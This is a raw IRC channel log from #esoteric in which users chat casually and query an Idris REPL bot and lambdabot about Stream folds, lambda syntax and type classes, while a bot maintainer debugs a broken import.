:boily!~boily@96.127.201.149 PRIVMSG #esoteric :hezzo38. < 1394938348 312234 :boily!~boily@96.127.201.149 QUIT :Quit: UNDEMONIAC CHICKEN < 1394938409 157095 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1394938883 923897 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: Najt < 1394939656 347096 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394941819 375984 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1394944169 964378 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394944210 187210 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394944464 348466 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 240 seconds < 1394945323 130695 :manueliitho!~vit@201.208.8.3 JOIN :#esoteric < 1394945630 981110 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://imgur.com/a/sAIe6 < 1394946414 104696 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I'm lost < 1394946992 280341 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394947089 622825 :Sorella!~queen@oftn/member/Sorella QUIT :Quit: It is tiem! < 1394947319 240340 :Bike!ae1924ee@gateway/web/freenode/ip.174.25.36.238 PRIVMSG #esoteric :try going left < 1394948088 91289 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :`welcome manueliitho < 1394948088 448816 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394948108 802890 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :`swat Gregor < 1394948109 134206 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394948117 24190 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I expected as much < 1394948173 576154 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :manueliitho: welcome to the esoteric channel of, uh, shiny racoons < 1394948213 901059 :Bike!ae1924ee@gateway/web/freenode/ip.174.25.36.238 QUIT :Ping timeout: 245 seconds < 1394948468 547817 :manueliitho!~vit@201.208.8.3 PART :#esoteric < 1394948813 753823 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://i.imgur.com/ALjs0rf.jpg < 1394949626 753247 :abirvalg!~quassel@31.129.195.147 JOIN :#esoteric < 1394949904 77931 :password2!~password@197.78.159.108 JOIN :#esoteric < 1394950177 952586 :abirvalg!~quassel@31.129.195.147 QUIT :Quit: http://quassel-irc.org - ????????????? ??????. ?????. < 1394950512 689807 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1394951042 782453 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Ping timeout: 252 seconds < 1394951061 752516 :password2!~password@197.78.159.108 QUIT :Quit: Leaving < 1394951147 832596 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I believe that allowing triggers to be indexed would be a good idea to add into SQL, in case you have one hundred triggers on one view, that you can speed up finding the correct trigger to execute. < 1394951224 53218 :password2!~password@197.78.159.108 JOIN :#esoteric < 1394952470 195274 :Sellyme!~Sellyme@2605:4d00:0:2::7a QUIT :Excess Flood < 1394952566 230951 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk JOIN :#esoteric < 1394952605 708249 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 252 seconds < 1394953022 858149 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1394954391 539659 :chaiomanot!~chaiomano@75-121-39-142.dyn.centurytel.net QUIT :Remote host closed the connection < 1394955625 642114 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk QUIT :Excess Flood < 1394955866 86227 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk JOIN :#esoteric < 1394957202 961322 :AnotherTest!~turingcom@94-224-18-253.access.telenet.be JOIN :#esoteric < 1394959712 8190 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk QUIT :Excess Flood < 1394959855 706909 :Sellyme!~Sellyme@irc.sellyme.com JOIN :#esoteric < 1394960549 389170 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1394961173 149829 :Sellyme!~Sellyme@irc.sellyme.com QUIT :Excess Flood < 1394961265 967969 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk JOIN :#esoteric < 1394962103 639233 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk QUIT :Excess Flood < 1394962165 620821 :Sellyme!~Sellyme@irc.sellyme.com JOIN :#esoteric < 1394964110 650233 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394964161 321892 :Koen_!~Koen@vbo91-6-78-245-243-132.fbx.proxad.net JOIN :#esoteric < 1394964283 366436 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1394964284 261720 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394967359 779171 :nooodl!~nooodl@33.96-242-81.adsl-dyn.isp.belgacom.be JOIN :#esoteric < 1394968726 16571 :password2!~password@197.78.159.108 QUIT :Remote host closed the connection < 1394968969 529366 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Sgeo_: Would you please not try to produce an infinite recursion? It locks up the REPL, taking down the bot. < 1394969116 78332 :nordee14!~Ranjit@14.102.109.172 JOIN :#esoteric < 1394969154 557017 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :( take 20 (Stream.repeat "haha") < 1394969154 674817 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04[04"haha"04, 04"haha"04, 04"haha"04, 04"haha"04, 04"haha"04, 04"haha"04, 04"haha"04, 04"haha"04, 04"haha"04, 04"haha"04, 04"haha"04, 04"haha"04, 04"haha"04, 04"haha"04, 04"haha"04, 04"haha"04, 04"haha"04, 04"haha"04, 04"haha"04, 04"haha"04] : 12Vect 0420 12String < 1394969371 588637 :nordee14!~Ranjit@14.102.109.172 PART :#esoteric < 1394969942 159706 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :Melvar: Some sort of timeout should probably be added < 1394969953 402965 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :( take < 1394969953 732747 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't disambiguate name: Prelude.List.take, Prelude.Stream.take, Prelude.Vect.take < 1394969959 497011 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :( Stream.take < 1394969959 552468 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):0:0:Incomplete term 09take < 1394969963 833395 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :( :t Stream.take < 1394969963 981794 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.Stream.take : (13n : 12Nat) -> (12Stream 13a) -> 12Vect 13n 13a < 1394970933 905341 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :FreeFull: The bot has a timeout. The REPL it communicates with does not. < 1394971281 214962 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :Melvar: How do you produce an infinite loop anyway? I want to test something, locally < 1394971523 67804 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1394972054 659513 :nooodl!~nooodl@33.96-242-81.adsl-dyn.isp.belgacom.be PRIVMSG #esoteric :hoily < 1394972454 864645 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :Jafet: someone was apparently not looking for shiny racoons < 1394972603 850875 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :heloooodl. < 1394972612 618699 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :olsnhellor. < 1394972621 610121 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :still shiny racooning? < 1394972977 357472 :Sellyme!~Sellyme@irc.sellyme.com QUIT :Excess Flood < 1394972996 51644 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk JOIN :#esoteric < 1394973132 538277 :Koen_!~Koen@vbo91-6-78-245-243-132.fbx.proxad.net QUIT :Read error: Connection reset by peer < 1394973147 62346 :Koen_!~Koen@vbo91-6-78-245-243-132.fbx.proxad.net JOIN :#esoteric < 1394973159 316554 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1394973759 122108 :Koen_!~Koen@vbo91-6-78-245-243-132.fbx.proxad.net QUIT :Quit: Koen_ < 1394975281 659431 :Slereahphone!~slereahph@80.10.159.214 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1394975401 387955 :Slereahphone!~slereahph@80.10.159.214 JOIN :#esoteric < 1394976734 197145 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1394977041 204081 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :t scanl < 1394977041 349030 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :No such variable scanl < 1394977048 221261 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :wat. < 1394977061 83404 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :I WANT MY FIBONACCI DAMMIT < 1394977067 978521 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :t scan < 1394977068 34419 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :No such variable scan < 1394977163 576320 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :t foldr < 1394977163 682197 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.Foldable.foldr : 12Foldable 13t => (13elt -> 13acc -> 13acc) -> 13acc -> (13t 13elt) -> 13acc < 1394977210 363363 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :Would any folks here happen to have free access to http://www.sciencedirect.com/science/article/pii/0734189X88901144 < 1394977313 220687 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :I don't seem to have any access anymore :( < 1394977352 860461 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :clearly false advertising, how can it be direct if people don't have access < 1394977469 98513 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :There may be more false advertising involved: I'm actually looking for a different article which is supposed to be on pages 14–27 of that issue while the linked article should only cover pages 1–13 < 1394977497 665606 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :But sciencedirect doesn't even mention the other one so I'm wondering if they're both in the PDF of that one or what's up < 1394977712 466866 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I see 1-27. < 1394977726 980514 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :Yes, that's what sciencedirect claims < 1394977737 999601 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :Or did you see the PDF itself? < 1394977804 433086 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :It has the same number of pages as http://46.4.207.77/a.pdf < 1394977868 77699 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :Right, so some merging took place on Elsevier's end, thanks < 1394977911 731205 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :bah last darths & droids was clearly false alarm. i guess they didn't have the picture frames for it. < 1394978134 968140 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1394978169 533232 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :t with Stream foldr (::) [] < 1394978169 590295 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't unify < 1394978169 646576 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 13a -> (12Lazy (12Stream 13a)) -> 12Stream 13a < 1394978169 646750 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :with < 1394978169 646848 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 13elt -> 13acc -> 13acc < 1394978169 646938 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Specifically:14↵… < 1394978196 427140 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :t with Stream foldr (\x y -> x :: Delay y) [] < 1394978196 534161 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't disambiguate name: Data.HVect.Nil, Prelude.List.Nil, Data.Vect.Quantifiers.Nil, Prelude.Vect.Nil < 1394978216 646782 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh right there's no stream Nil. < 1394978270 287245 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :t with Stream foldr (\x y -> x :: Delay y) < 1394978270 383549 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :No such variable \ < 1394978276 809275 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :t with Stream foldr (\x y => x :: Delay y) < 1394978276 986306 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:1: error: expected: end of input, < 1394978276 986373 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : operator < 1394978276 986411 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric ::t with Stream foldr (\x y => x :: Delay y) < 1394978276 986457 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :^ < 1394978277 707982 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :parse error on input `=>' < 1394978298 63758 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :wtf < 1394978300 469565 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :( :t x^2 < 1394978300 577854 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:1: error: expected: end of input, < 1394978300 633956 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : operator < 1394978300 634106 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric ::t x^2 < 1394978300 634197 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :^ < 1394978301 441550 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : parse error (possibly incorrect indentation or mismatched brackets) < 1394978316 728783 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric ::t x^2 -- < 1394978317 426560 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Expr < 1394978321 274306 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :( :t x^2 -- < 1394978324 119061 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:1: error: expected: end of input, < 1394978324 176448 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : operator < 1394978324 176604 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric ::t x^2 -- < 1394978324 176699 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :^ < 1394978324 949699 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Expr < 1394978338 430564 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Potential botloop there... < 1394978354 632707 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fancy < 1394978358 650449 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :`? botlops < 1394978359 189701 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394978384 310534 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :There is no type beginning with a ( , is there. < 1394978397 965905 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :You can with type operators < 1394978401 555838 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :sure there is. < 1394978410 555446 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric ::t fix < 1394978411 454296 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :(a -> a) -> a < 1394978420 233870 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :That begins with (a. < 1394978425 591255 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :but i don't think you'll be able to get a space. < 1394978459 596766 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :(:t 7 < 1394978478 917681 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric ::( < 1394978503 267590 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(we don't want idris-ircslave to give error messages everyone writes like this.) < 1394978516 301680 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*+everytime someone < 1394978520 795432 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*-+ < 1394978529 709519 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i think my brain needs service. < 1394978535 498339 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :*+-/^ < 1394979042 446955 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Read error: Connection reset by peer < 1394979127 302290 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1394979204 180643 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :a dog is barking. some asshole got a new one. time to buy poison. < 1394979253 998150 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm that misses a season. make that "barking dog in spring." < 1394979332 724399 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :let's hope it's just visiting. < 1394979362 309657 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394979473 883276 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :yesterday night, around 11pm EDT, my neighbours randomly guffawed. it was... more weird than anything else. < 1394979539 335201 :FreeFull!~freefull@defocus/sausage-lover QUIT :Read error: Operation timed out < 1394980207 5799 :boily!~boily@96.127.201.149 QUIT :Quit: SHOWERED CHICKEN < 1394980389 457960 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :sadly, it's not just visiting. it's in the apartment next to mine that has been vacant all until now. < 1394980438 701255 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i have to move. < 1394980469 592041 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :imo move to York < 1394980558 688762 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :keep the viking theme < 1394983204 325863 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :oerjan: Lambda arguments currently require commas between, i.e. (\x y => …) doesn’t parse, it needs to be (\x,y => …). I think somebody really really wants to change that, but I don’t know if or when that change might show up. < 1394983225 137408 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Taneb: There currently is no (^) operator in the prelude. < 1394983240 908380 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :( :t pow < 1394983241 20979 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.pow : 12Num 13a => 13a -> 12Nat -> 13a < 1394983269 477674 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :That does exist though. Should be renamed or aliased. < 1394984120 328719 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yay the dog stopped while i was shaving. i think its humans came back < 1394984462 437495 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :t with Stream foldr (\x, y => x :: Delay y) < 1394984462 885077 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't resolve type class 12Foldable t < 1394984496 691087 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :t with Stream foldr (\x, y => the (Stream a) (x :: Delay y)) < 1394984497 958008 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:44:No such variable a < 1394984504 264824 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :t with Stream foldr (\x, y => the (Stream _) (x :: Delay y)) < 1394984504 647534 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't resolve type class 12Foldable t < 1394984515 275359 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i guess Stream just isn't foldable. < 1394984558 439563 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :although obviously there _are_ codata versions of folds in some cases... < 1394984615 185145 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh wait hm < 1394984655 142791 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :t \z => with Stream foldr (\x, y => the (Stream _) (x :: Delay y)) z z < 1394984655 475973 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't resolve type class 12Foldable 12Stream < 1394984660 644923 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :nope. < 1394984692 433815 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :( the (Foldable List) %instance < 1394984692 806254 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04constructor of Prelude.Foldable.Foldable (\13{meth0} => \13{meth1} => \13{meth2} => \13{meth3} => \13{meth4} => 09List instance of Prelude.Foldable.Foldable, method foldr 13meth 13meth 13meth) : 12Foldable 12List < 1394984707 903061 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :( the (Foldable Stream) %instance < 1394984708 271329 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't resolve type class 12Foldable 12Stream < 1394984731 873616 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :t %instance < 1394984732 284689 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):0:0:Incomplete term 04refl < 1394984772 809261 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :doc Foldable < 1394984773 273066 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Type class 12Foldable < 1394984773 644447 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Methods: < 1394984773 700973 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 09foldr : 12Foldable 13t => (13elt -> 13acc -> 13acc) -> 13acc -> (13t 13elt) -> 13acc < 1394984773 701115 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : Arguments: < 1394984773 701211 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : Class constraint 12Foldable 13t14↵… < 1394984820 313693 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :oerjan: %instance means “fill this term in using instance search”. < 1394984824 629169 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :doc Traversable < 1394984824 998056 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Type class 12Traversable < 1394984825 232377 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Methods: < 1394984825 288544 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 09traverse : 12Traversable 13t => 12Applicative 13f => (13a -> 13f 13b) -> (13t 13a) -> 13f (13t 13b) < 1394984825 288713 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : Arguments: < 1394984825 288820 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : Class constraint 12Traversable 13t14↵… < 1394984862 484629 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :And type class instances are actual values. < 1394984864 162352 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :t State < 1394984864 497396 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :No such variable State < 1394984868 163598 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :t StateT < 1394984868 536076 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :No such variable StateT < 1394984889 286234 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Not imported at present. < 1394984929 816539 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i think idris-ircslave has deviously dropped everything that could be used to create a fibonacci stream. < 1394984995 924256 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net QUIT :Quit: Terminated < 1394985010 158723 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net JOIN :#esoteric < 1394985021 541520 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i cannot guarantee that State would work though, maybe it's too strict. < 1394985027 668501 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :t State < 1394985028 200240 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :No such variable State < 1394985053 731187 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :( :t STATE < 1394985054 319728 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :No such variable STATE < 1394985065 969108 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :( :t ZZ < 1394985066 514598 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :No such variable ZZ < 1394985070 943474 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :monads are all caps? < 1394985074 365131 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Okay, something went wrong. < 1394985088 153841 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :No, just checking for somethinge else that should have been there. < 1394985133 444301 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :t fix < 1394985133 955817 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :No such variable fix < 1394985139 827477 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :t (+) < 1394985140 938941 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.Classes.+ : 12Num 13a => 13a -> 13a -> 13a < 1394985197 735129 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net QUIT :Client Quit < 1394985214 293596 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net JOIN :#esoteric < 1394985220 881132 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :( :t ZZ < 1394985221 351932 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :No such variable ZZ < 1394985230 498232 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Dang. One moment. < 1394985253 367064 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net QUIT :Client Quit < 1394985269 353604 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net JOIN :#esoteric < 1394985275 537942 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :( :t ZZ < 1394985276 136237 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :No such variable ZZ < 1394985282 607647 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Fffff… < 1394985370 583723 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :>.< < 1394985537 977974 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :I recently added an unrelated incorrect import and didn’t test 